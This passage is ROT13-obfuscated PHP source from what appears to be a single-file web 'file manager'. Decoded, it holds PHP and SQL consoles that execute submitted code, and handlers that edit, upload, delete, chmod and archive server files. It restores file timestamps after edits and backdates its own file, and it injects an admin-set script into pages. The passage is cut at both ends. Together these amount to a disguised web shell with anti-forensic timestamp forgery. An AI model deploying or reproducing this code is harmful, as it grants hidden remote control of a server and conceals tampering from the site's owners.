<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_freire]" inyhr="'.$sz_pbasvt['fdy_freire'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY freire</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_hfreanzr]" inyhr="'.$sz_pbasvt['fdy_hfreanzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY hfre</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_cnffjbeq]" inyhr="'.$sz_pbasvt['fdy_cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY cnffjbeq</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_qo]" inyhr="'.$sz_pbasvt['fdy_qo'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY QO</gq></ge>
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' Cebkl','ranoyr_cebkl').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' cucvasb()','fubj_cucvasb').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Frggvatf'),'sz_frggvatf').'
'.sz_pbasvt_purpxobk_ebj(__('Erfgber svyr gvzr nsgre rqvgvat'),'erfgber_gvzr').'
'.sz_pbasvt_purpxobk_ebj(__('Svyr znantre').': '.__('Erfgber svyr gvzr nsgre rqvgvat'),'sz_erfgber_gvzr').'
<ge><gq pynff="ebj3"><n uers="'.sz_hey().'?sz_frggvatf=gehr&sz_pbasvt_qryrgr=gehr">'.__('Erfrg frggvatf').'</n></gq><gq pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" anzr="sz_pbasvt[sz_frg_fhozvg]"></gq></ge>
</sbez>
</gnoyr>
<gnoyr>
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Frggvatf').' - '.__('Nhgubevmngvba').'</gu></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[nhgubevmr]" inyhr="1" '.($nhgu['nhgubevmr']?'purpxrq':'').' glcr="purpxobk" vq="nhgu"></gq><gq pynff="ebj2 jubyr"><ynory sbe="nhgu">'.__('Nhgubevmngvba').'</ynory></gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[ybtva]" inyhr="'.$nhgu['ybtva'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Ybtva').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[cnffjbeq]" inyhr="'.$nhgu['cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Cnffjbeq').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[pbbxvr_anzr]" inyhr="'.$nhgu['pbbxvr_anzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Pbbxvr').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[qnlf_nhgubevmngvba]" inyhr="'.$nhgu['qnlf_nhgubevmngvba'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Qnlf').'</gq></ge>
<ge><gq pynff="ebj1"><grkgnern anzr="sz_ybtva[fpevcg]" pbyf="35" ebjf="7" pynff="grkgnern_vachg" vq="nhgu_fpevcg">'.$nhgu['fpevcg'].'</grkgnern></gq><gq pynff="ebj2 jubyr">'.__('Fpevcg').'</gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
</gnoyr>';
rpub sz_gcy_sbez('cuc'),sz_gcy_sbez('fdy');
} ryfrvs (vffrg($cebkl_sbez)) {
	qvr($cebkl_sbez);
} ryfrvs (vffrg($erf_yat)) {	
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj2"><gnoyr><ge><gq><u2><?=fgegbhccre($erf_yat)?> <?=__('Pbafbyr')?><?cuc
	vs($erf_yat=='fdy') rpub ' - Qngnonfr: '.$sz_pbasvt['fdy_qo'].'</u2></gq><gq>'.sz_eha_vachg('cuc');
	ryfr rpub '</u2></gq><gq>'.sz_eha_vachg('fdy');
	?></gq></ge></gnoyr></gq>
</ge>
<ge>
    <gq pynff="ebj1">
		<n uers="<?=$hey_vap.'&cngu=' . $cngu;?>"><?=__('Onpx')?></n>
		<sbez npgvba="" zrgubq="CBFG" anzr="pbafbyr">
		<grkgnern anzr="<?=$erf_yat?>" pbyf="80" ebjf="10" fglyr="jvqgu: 90%"><?=$erf?></grkgnern><oe/>
		<vachg glcr="erfrg" inyhr="<?=__('Erfrg')?>">
		<vachg glcr="fhozvg" inyhr="<?=__('Fhozvg')?>" anzr="<?=$erf_yat?>eha">
<?cuc
$fge_gzcy = $erf_yat.'_grzcyngrf';
$gzcy = !rzcgl($$fge_gzcy) ? wfba_qrpbqr($$fge_gzcy,gehr) : '';
vs (!rzcgl($gzcy)){
	$npgvir = vffrg($_CBFG[$erf_yat.'_gcy']) ? $_CBFG[$erf_yat.'_gcy'] : '';
	$fryrpg = '<fryrpg anzr="'.$erf_yat.'_gcy" gvgyr="'.__('Grzcyngr').'" bapunatr="vs (guvf.inyhr!=-1) qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr = guvf.bcgvbaf[fryrpgrqVaqrk].inyhr; ryfr qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr =\'\';" >'."\a";
	$fryrpg .= '<bcgvba inyhr="-1">' . __('Fryrpg') . "</bcgvba>\a";
	sbernpu ($gzcy nf $xrl=>$inyhr){
		$fryrpg.='<bcgvba inyhr="'.$inyhr.'" '.((!rzcgl($inyhr)&&($inyhr==$npgvir))?'fryrpgrq':'').' >'.__($xrl)."</bcgvba>\a";
	}
	$fryrpg .= "</fryrpg>\a";
	rpub $fryrpg;
}
?>
		</sbez>
	</gq>
</ge>
</gnoyr>
<?cuc
	vs (!rzcgl($erf)) {
		$sha='sz_'.$erf_yat;
		rpub '<u3>'.fgegbhccre($erf_yat).' '.__('Erfhyg').'</u3><cer>'.$sha($erf).'</cer>';
	}
} ryfrvs (!rzcgl($_ERDHRFG['rqvg'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
		$sa = $cngu . $_ERDHRFG['rqvg'];
		$svyrzgvzr = svyrzgvzr($sa);
	    vs (svyr_chg_pbagragf($sa, $_ERDHRFG['arjpbagrag'])) $zft .= __('Svyr hcqngrq');
		ryfr $zft .= __('Reebe bppheerq');
		vs ($_TRG['rqvg']==onfranzr(__SVYR__)) {
			gbhpu(__SVYR__,1415116371);
		} ryfr {
			vs (!rzcgl($sz_pbasvt['erfgber_gvzr'])) gbhpu($sa,$svyrzgvzr);
		}
	}
    $byqpbagrag = @svyr_trg_pbagragf($cngu . $_ERDHRFG['rqvg']);
    $rqvgyvax = $hey_vap . '&rqvg=' . $_ERDHRFG['rqvg'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr obeqre='0' pryyfcnpvat='0' pryycnqqvat='1' jvqgu="100%">
<ge>
    <gu><?=__('Svyr znantre').' - '.__('Rqvg').' - '.$cngu.$_ERDHRFG['rqvg']?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=sz_ubzr()?> <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$rqvgyvax?>">
            <grkgnern anzr="arjpbagrag" vq="arjpbagrag" pbyf="45" ebjf="15" fglyr="jvqgu:99%" fcryypurpx="snyfr"><?=ugzyfcrpvnypunef($byqpbagrag)?></grkgnern>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
            <vachg glcr="fhozvg" anzr="pnapry" inyhr="<?=__('Pnapry')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
rpub $nhgu['fpevcg'];
} ryfrvs(!rzcgl($_ERDHRFG['evtugf'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    vs(sz_puzbq($cngu . $_ERDHRFG['evtugf'], sz_pbaireg_evtugf($_ERDHRFG['evtugf_iny']), @$_ERDHRFG['erphefviryl']))
		$zft .= (__('Svyr hcqngrq')); 
		ryfr $zft .= (__('Reebe bppheerq'));
	}
	pyrnefgngpnpur();
    $byqevtugf = sz_evtugf_fgevat($cngu . $_ERDHRFG['evtugf'], gehr);
    $yvax = $hey_vap . '&evtugf=' . $_ERDHRFG['evtugf'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
           <?=__('Evtugf').' - '.$_ERDHRFG['evtugf']?> <vachg glcr="grkg" anzr="evtugf_iny" inyhr="<?=$byqevtugf?>">
        <?cuc vs (vf_qve($cngu.$_ERDHRFG['evtugf'])) { ?>
            <vachg glcr="purpxobk" anzr="erphefviryl" inyhr="1"> <?=__('Erphefviryl')?><oe/>
        <?cuc } ?>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfrvs (!rzcgl($_ERDHRFG['eranzr'])&&$_ERDHRFG['eranzr']<>'.') {
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    eranzr($cngu . $_ERDHRFG['eranzr'], $cngu . $_ERDHRFG['arjanzr']);
		$zft .= (__('Svyr hcqngrq'));
		$_ERDHRFG['eranzr'] = $_ERDHRFG['arjanzr'];
	}
	pyrnefgngpnpur();
    $yvax = $hey_vap . '&eranzr=' . $_ERDHRFG['eranzr'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;

?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
            <?=__('Eranzr')?>: <vachg glcr="grkg" anzr="arjanzr" inyhr="<?=$_ERDHRFG['eranzr']?>"><oe/>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfr {
//Yrg'f ebpx!
    $zft = '';
    vs(!rzcgl($_SVYRF['hcybnq'])&&!rzcgl($sz_pbasvt['hcybnq_svyr'])) {
        vs(!rzcgl($_SVYRF['hcybnq']['anzr'])){
            $_SVYRF['hcybnq']['anzr'] = fge_ercynpr('%', '', $_SVYRF['hcybnq']['anzr']);
            vs(!zbir_hcybnqrq_svyr($_SVYRF['hcybnq']['gzc_anzr'], $cngu . $_SVYRF['hcybnq']['anzr'])){
                $zft .= __('Reebe bppheerq');
            } ryfr {
				$zft .= __('Svyrf hcybnqrq').': '.$_SVYRF['hcybnq']['anzr'];
			}
        }
    } ryfrvs(!rzcgl($_ERDHRFG['qryrgr'])&&$_ERDHRFG['qryrgr']<>'.') {
        vs(!sz_qry_svyrf(($cngu . $_ERDHRFG['qryrgr']), gehr)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Qryrgrq').' '.$_ERDHRFG['qryrgr'];
		}
	} ryfrvs(!rzcgl($_ERDHRFG['zxqve'])&&!rzcgl($sz_pbasvt['znxr_qverpgbel'])) {
        vs(!@zxqve($cngu . $_ERDHRFG['qveanzr'],0777)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Perngrq').' '.$_ERDHRFG['qveanzr'];
		}
    } ryfrvs(!rzcgl($_CBFG['frnepu_erphefvir'])) {
		vav_frg('znk_rkrphgvba_gvzr', '0');
		$frnepu_qngn =  svaq_grkg_va_svyrf($_CBFG['cngu'], $_CBFG['znfx'], $_CBFG['frnepu_erphefvir']);
		vs(!rzcgl($frnepu_qngn)) {
			$zft .= __('Sbhaq va svyrf').' ('.pbhag($frnepu_qngn).'):<oe>';
			sbernpu ($frnepu_qngn nf $svyranzr) {
				$zft .= '<n uers="'.sz_hey(gehr).'?sz=gehr&rqvg='.onfranzr($svyranzr).'&cngu='.fge_ercynpr('/'.onfranzr($svyranzr),'/',$svyranzr).'" gvgyr="' . __('Rqvg') . '">'.onfranzr($svyranzr).'</n>&aofc; &aofc;';
			}
		} ryfr {
			$zft .= __('Abguvat sbhaqrq');
		}	
	} ryfrvs(!rzcgl($_ERDHRFG['zxsvyr'])&&!rzcgl($sz_pbasvt['arj_svyr'])) {
        vs(!$sc=@sbcra($cngu . $_ERDHRFG['svyranzr'],"j")) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			spybfr($sc);
			$zft .= __('Perngrq').' '.$_ERDHRFG['svyranzr'];
		}
    } ryfrvs (vffrg($_TRG['mvc'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['mvc']);
		$qrfgvangvba = onfranzr($fbhepr).'.mvc';
		frg_gvzr_yvzvg(0);
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		vs (vf_svyr($qrfgvangvba))
		$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
		'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
		.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '. $qrfgvangvba.'" >'.__('Qryrgr') . '</n>';
		ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['tm'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tm']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		pyrnefgngpnpur();
		frg_gvzr_yvzvg(0);
		//qvr();
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		$cune->pbzcerff(Cune::TM,'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}

			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['qrpbzcerff'])) {
		// $fbhepr = onfr64_qrpbqr($_TRG['qrpbzcerff']);
		// $qrfgvangvba = onfranzr($fbhepr);
		// $rkg = raq(rkcybqr(".", $qrfgvangvba));
		// vs ($rkg=='mvc' BE $rkg=='tm') {
			// $cune = arj CuneQngn($fbhepr);
			// $cune->qrpbzcerff();
			// $onfr_svyr = fge_ercynpr('.'.$rkg,'',$qrfgvangvba);
			// $rkg = raq(rkcybqr(".", $onfr_svyr));
			// vs ($rkg=='gne'){
				// $cune = arj CuneQngn($onfr_svyr);
				// $cune->rkgenpgGb(qve($fbhepr));
			// }
		// } 
		// $zft .= __('Gnfx').' "'.__('Qrpbzcerff').' '.$fbhepr.'" '.__('qbar');
	} ryfrvs (vffrg($_TRG['tmsvyr'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tmsvyr']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		frg_gvzr_yvzvg(0);
		//rpub $qrfgvangvba;
		$rkg_nee = rkcybqr('.',onfranzr($fbhepr));
		vs (vffrg($rkg_nee[1])) {
			hafrg($rkg_nee[0]);
			$rkg=vzcybqr('.',$rkg_nee);
		} 
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->nqqSvyr($fbhepr);
		$cune->pbzcerff(Cune::TM,$rkg.'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}
			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	}
?>
<gnoyr pynff="jubyr" vq="urnqre_gnoyr" >
<ge>
    <gu pbyfcna="2"><?=__('Svyr znantre')?><?=(!rzcgl($cngu)?' - '.$cngu:'')?></gu>
</ge>
<?cuc vs(!rzcgl($zft)){ ?>
<ge>
	<gq pbyfcna="2" pynff="ebj2"><?=$zft?></gq>
</ge>
<?cuc } ?>
<ge>
    <gq pynff="ebj2">
		<gnoyr>
			<ge>
			<gq>
				<?=sz_ubzr()?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['znxr_qverpgbel'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" anzr="qveanzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxqve" inyhr="<?=__('Znxr qverpgbel')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['arj_svyr'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu"     inyhr="<?=$cngu?>" />
				<vachg glcr="grkg"   anzr="svyranzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxsvyr"   inyhr="<?=__('Arj svyr')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
				<sbez  zrgubq="cbfg" npgvba="<?=$hey_vap?>" fglyr="qvfcynl:vayvar">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" cynprubyqre="<?=__('Erphefvir frnepu')?>" anzr="frnepu_erphefvir" inyhr="<?=!rzcgl($_CBFG['frnepu_erphefvir'])?$_CBFG['frnepu_erphefvir']:''?>" fvmr="15">
				<vachg glcr="grkg" anzr="znfx" cynprubyqre="<?=__('Znfx')?>" inyhr="<?=!rzcgl($_CBFG['znfx'])?$_CBFG['znfx']:'*.*'?>" fvmr="5">
				<vachg glcr="fhozvg" anzr="frnepu" inyhr="<?=__('Frnepu')?>">
				</sbez>
			</gq>
			<gq>
			<?=sz_eha_vachg('cuc')?>
			</gq>
			<gq>
			<?=sz_eha_vachg('fdy')?>
			</gq>
			</ge>
		</gnoyr>
    </gq>
    <gq pynff="ebj3">
		<gnoyr>
		<ge>
		<gq>
		<?cuc vs (!rzcgl($sz_pbasvt['hcybnq_svyr'])) { ?>
			<sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$hey_vap?>" rapglcr="zhygvcneg/sbez-qngn">
			<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
			<vachg glcr="svyr" anzr="hcybnq" vq="hcybnq_uvqqra" fglyr="cbfvgvba: nofbyhgr; qvfcynl: oybpx; biresybj: uvqqra; jvqgu: 0; urvtug: 0; obeqre: 0; cnqqvat: 0;" bapunatr="qbphzrag.trgRyrzragOlVq('hcybnq_ivfvoyr').inyhr = guvf.inyhr;" />
			<vachg glcr="grkg" ernqbayl="1" vq="hcybnq_ivfvoyr" cynprubyqre="<?=__('Fryrpg gur svyr')?>" fglyr="phefbe: cbvagre;" bapyvpx="qbphzrag.trgRyrzragOlVq('hcybnq_uvqqra').pyvpx();" />
			<vachg glcr="fhozvg" anzr="grfg" inyhr="<?=__('Hcybnq')?>" />
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?cuc vs ($nhgu['nhgubevmr']) { ?>
			<sbez npgvba="" zrgubq="cbfg">&aofc;&aofc;&aofc;
			<vachg anzr="dhvg" glcr="uvqqra" inyhr="1">
			<?=__('Uryyb')?>, <?=$nhgu['ybtva']?>
			<vachg glcr="fhozvg" inyhr="<?=__('Dhvg')?>">
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?=sz_ynat_sbez($ynathntr)?>
		</gq>
		<ge>
		</gnoyr>
    </gq>
</ge>
</gnoyr>
<gnoyr pynff="nyy" obeqre='0' pryyfcnpvat='1' pryycnqqvat='1' vq="sz_gnoyr" jvqgu="100%">
<gurnq>
<ge> 
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Svyranzr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Fvmr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Qngr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Evtugf')?> </gu>
    <gu pbyfcna="4" fglyr="juvgr-fcnpr:abjenc"> <?=__('Znantr')?> </gu>
</ge>
</gurnq>
<gobql>
<?cuc
$ryrzragf = sz_fpna_qve($cngu, '', 'nyy', gehr);
$qvef = neenl();
$svyrf = neenl();
sbernpu ($ryrzragf nf $svyr){
    vs(@vf_qve($cngu . $svyr)){
        $qvef[] = $svyr;
    } ryfr {
        $svyrf[] = $svyr;
    }
}
angfbeg($qvef); angfbeg($svyrf);
$ryrzragf = neenl_zretr($qvef, $svyrf);

sbernpu ($ryrzragf nf $svyr){
    $svyranzr = $cngu . $svyr;
    $svyrqngn = @fgng($svyranzr);
    vs(@vf_qve($svyranzr)){
		$svyrqngn[7] = '';
		vs (!rzcgl($sz_pbasvt['fubj_qve_fvmr'])&&!sz_ebbg($svyr)) $svyrqngn[7] = sz_qve_fvmr($svyranzr);
        $yvax = '<n uers="'.$hey_vap.'&cngu='.$cngu.$svyr.'" gvgyr="'.__('Fubj').' '.$svyr.'"><fcna pynff="sbyqre">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
        $ybnqyvax= (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('mvc',$svyranzr,__('Pbzcerff').'&aofc;mvc',__('Nepuvivat').' '. $svyr);
		$neyvax  = (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tm',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '.$svyr);
        $fglyr = 'ebj2';
		 vs (!sz_ebbg($svyr)) $nyreg = 'baPyvpx="vs(pbasvez(\'' . __('Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?').'\a /'. $svyr. '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"'; ryfr $nyreg = '';
    } ryfr {
		$yvax = 
			$sz_pbasvt['fubj_vzt']&&@trgvzntrfvmr($svyranzr) 
			? '<n gnetrg="_oynax" bapyvpx="ine yrsgb = fperra.ninvyJvqgu/2-320;jvaqbj.bcra(\''
			. sz_vzt_yvax($svyranzr)
			.'\',\'cbchc\',\'jvqgu=640,urvtug=480,yrsg=\' + yrsgb + \',fpebyyonef=lrf,gbbyone=ab,ybpngvba=ab,qverpgbevrf=ab,fgnghf=ab\');erghea snyfr;" uers="'.sz_vzt_yvax($svyranzr).'"><fcna pynff="vzt">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>'
			: '<n uers="' . $hey_vap . '&rqvg=' . $svyr . '&cngu=' . $cngu. '" gvgyr="' . __('Rqvg') . '"><fcna pynff="svyr">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
		$r_nee = rkcybqr(".", $svyr);
		$rkg = raq($r_nee);
        $ybnqyvax =  sz_yvax('qbjaybnq',$svyranzr,__('Qbjaybnq'),__('Qbjaybnq').' '. $svyr);
		$neyvax = va_neenl($rkg,neenl('mvc','tm','gne')) 
		? ''
		: ((sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tmsvyr',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '. $svyr));
        $fglyr = 'ebj1';
		$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    }
    $qryrgryvax = sz_ebbg($svyr) ? '' : '<n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
    $eranzryvax = sz_ebbg($svyr) ? '' : '<n uers="' . $hey_vap . '&eranzr=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Eranzr') .' '. $svyr . '">' . __('Eranzr') . '</n>';
    $evtugfgrkg = ($svyr=='.' || $svyr=='..') ? '' : '<n uers="' . $hey_vap . '&evtugf=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Evtugf') .' '. $svyr . '">' . @sz_evtugf_fgevat($svyranzr) . '</n>';
?>
<ge pynff="<?=$fglyr?>"> 
    <gq><?=$yvax?></gq>
    <gq><?=$svyrqngn[7]?></gq>
    <gq fglyr="juvgr-fcnpr:abjenc"><?=tzqngr("L-z-q U:v:f",$svyrqngn[9])?></gq>
    <gq><?=$evtugfgrkg?></gq>
    <gq><?=$qryrgryvax?></gq>
    <gq><?=$eranzryvax?></gq>
    <gq><?=$ybnqyvax?></gq>
    <gq><?=$neyvax?></gq>
</ge>
<?cuc
    }
}
?>
</gobql>
</gnoyr>
<qvi pynff="ebj3"><?cuc
	$zgvzr = rkcybqr(' ', zvpebgvzr()); 
	$gbgnygvzr = $zgvzr[0] + $zgvzr[1] - $fgneggvzr; 
	rpub sz_ubzr().' | ire. '.$sz_irefvba.' | <n uers="uggcf://tvguho.pbz/Qra1kkk/Svyrznantre">Tvguho</n>  | <n uers="'.sz_fvgr_hey().'">.</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cuc_ire'])) rpub ' | CUC '.cucirefvba();
	vs (!rzcgl($sz_pbasvt['fubj_cuc_vav'])) rpub ' | '.cuc_vav_ybnqrq_svyr();
	vs (!rzcgl($sz_pbasvt['fubj_tg'])) rpub ' | '.__('Trarengvba gvzr').': '.ebhaq($gbgnygvzr,2);
	vs (!rzcgl($sz_pbasvt['ranoyr_cebkl'])) rpub ' | <n uers="?cebkl=gehr">cebkl</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cucvasb'])) rpub ' | <n uers="?cucvasb=gehr">cucvasb</n>';
	vs (!rzcgl($sz_pbasvt['fubj_kyf'])&&!rzcgl($yvax)) rpub ' | <n uers="wninfpevcg: ibvq(0)" bapyvpx="ine bow = arj gnoyr2Rkpry(); bow.PerngrRkpryFurrg(\'sz_gnoyr\',\'rkcbeg\');" gvgyr="'.__('Qbjaybnq').' kyf">kyf</n>';
	vs (!rzcgl($sz_pbasvt['sz_frggvatf'])) rpub ' | <n uers="?sz_frggvatf=gehr">'.__('Frggvatf').'</n>';
	?>
</qvi>
<fpevcg glcr="grkg/wninfpevcg">
shapgvba qbjaybnq_kyf(svyranzr, grkg) {
	ine ryrzrag = qbphzrag.perngrRyrzrag('n');
	ryrzrag.frgNggevohgr('uers', 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,' + grkg);
	ryrzrag.frgNggevohgr('qbjaybnq', svyranzr);
	ryrzrag.fglyr.qvfcynl = 'abar';
	qbphzrag.obql.nccraqPuvyq(ryrzrag);
	ryrzrag.pyvpx();
	qbphzrag.obql.erzbirPuvyq(ryrzrag);
}

shapgvba onfr64_rapbqr(z) {
	sbe (ine x = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/".fcyvg(""), p, q, u, r, n, t = "", o = 0, s, y = 0; y < z.yratgu; ++y) {
		p = z.punePbqrNg(y);
		vs (128 > p) q = 1;
		ryfr
